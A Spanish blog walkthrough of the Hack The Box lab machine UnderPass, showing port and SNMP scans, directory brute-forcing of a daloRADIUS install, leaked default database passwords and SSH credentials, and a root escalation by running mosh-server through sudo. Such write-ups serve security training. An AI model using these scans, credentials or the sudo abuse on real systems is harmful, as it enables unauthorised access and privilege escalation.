Este blog es solo para fines educativos y de análisis técnico en CTFs. No promueve actividades maliciosas ni el uso indebido de herramientas descritas.
Entrada

HTB - UnderPass

HTB - UnderPass

Box Info

NameUnderPass
Release Date21 Dec, 2024
OSLinux
Rated DifficultyEasy

Recon

1
2
sudo nmap -p- --open --min-rate 5000 -sS -n -vvv -Pn 10.10.11.48 -oG allPorts
nmap -sCV -p 22,80 10.10.11.48 -oN targeted

UDP Scan

1
nmap -sU -T5 -n -v 10.10.11.48 -oG udpPorts

Image

1
nmap -p161 -sU -sCV -T5 -n -v 10.10.11.48

Image

1
snmpwalk -v2c -c public 10.10.11.48 1

Image

Image

1
dirsearch -u http://10.10.11.48/daloradius/

Image

Image

dirsearch

1
2
3
4
5
6
7
8
9
10
[22:21:36] 200 -  221B  - /daloradius/.gitignore
[22:22:26] 301 -  319B  - /daloradius/app  ->  http://10.10.11.48/daloradius/app/
[22:22:45] 200 -   24KB - /daloradius/ChangeLog
[22:23:05] 301 -  319B  - /daloradius/doc  ->  http://10.10.11.48/daloradius/doc/
[22:23:06] 200 -    2KB - /daloradius/Dockerfile
[22:23:06] 200 -    2KB - /daloradius/docker-compose.yml
[22:23:42] 200 -   18KB - /daloradius/LICENSE
[22:23:42] 301 -  323B  - /daloradius/library  ->  http://10.10.11.48/daloradius/library/
[22:24:28] 200 -   10KB - /daloradius/README.md
[22:24:40] 301 -  321B  - /daloradius/setup  ->  http://10.10.11.48/daloradius/setup/

File: docker-compose.yml

Image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
version: "3"

services:

  radius-mysql:
    image: mariadb:10
    container_name: radius-mysql
    restart: unless-stopped
    environment:
      - MYSQL_DATABASE=radius
      - MYSQL_USER=radius
      - MYSQL_PASSWORD=radiusdbpw
      - MYSQL_ROOT_PASSWORD=radiusrootdbpw
    volumes:
      - "./data/mysql:/var/lib/mysql"

  radius:
    container_name: radius
    build:
      context: .
      dockerfile: Dockerfile-freeradius
    restart: unless-stopped
    depends_on: 
      - radius-mysql
    ports:
      - '1812:1812/udp'
      - '1813:1813/udp'
    environment:
      - MYSQL_HOST=radius-mysql
      - MYSQL_PORT=3306
      - MYSQL_DATABASE=radius
      - MYSQL_USER=radius
      - MYSQL_PASSWORD=radiusdbpw
      # Optional settings
      - DEFAULT_CLIENT_SECRET=testing123
    volumes:
      - ./data/freeradius:/data
    # If you want to disable debug output, remove the command parameter
    command: -X

  radius-web:
    build: .
    container_name: radius-web
    restart: unless-stopped
    depends_on:
      - radius
      - radius-mysql
    ports:
      - '80:80'
      - '8000:8000'
    environment:
      - MYSQL_HOST=radius-mysql
      - MYSQL_PORT=3306
      - MYSQL_DATABASE=radius
      - MYSQL_USER=radius
      - MYSQL_PASSWORD=radiusdbpw
      # Optional Settings:
      - DEFAULT_CLIENT_SECRET=testing123
      - DEFAULT_FREERADIUS_SERVER=radius
      - MAIL_SMTPADDR=127.0.0.1
      - MAIL_PORT=25
      - MAIL_FROM=root@daloradius.xdsl.by
      - MAIL_AUTH=

    volumes:
      - ./data/daloradius:/data

Tenemos el puerto UDP 1812

Image

Image

1
dirsearch -u "http://10.10.11.48/daloradius/app/"
1
2
3
4
5
6
7
8
9
10
Target: http://10.10.11.48/

[12:24:00] Starting: daloradius/app/

[12:25:43] 301 -  326B  - /daloradius/app/common  ->  http://10.10.11.48/daloradius/app/common/
[12:28:54] 301 -  325B  - /daloradius/app/users  ->  http://10.10.11.48/daloradius/app/users/
[12:28:54] 302 -    0B  - /daloradius/app/users/  ->  home-main.php
[12:28:54] 200 -    2KB - /daloradius/app/users/login.php

Task Completed

Directory “Operators”

1
dirsearch -u "http://10.10.11.48/daloradius/app/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

Image

  • Primera web

Image

  • Segunda web

Image

Ejecutamos un escaneo de directorios.

Image

Image

Image

Encontramos un login en la segunda pagina web

Image

Usuario

Image

Image

Logeamos con las credenciales obtenidas en ssh

svcMosh underwaterfriends

Image

Privilege Escalation

sudo -l

Image

Image

mosh -h para ver que opciones tenemos para escalar privilegios

Image

1
mosh --server="sudo /usr/bin/mosh-server" localhost

Image

Esta entrada está licenciada bajo CC BY 4.0 por el autor.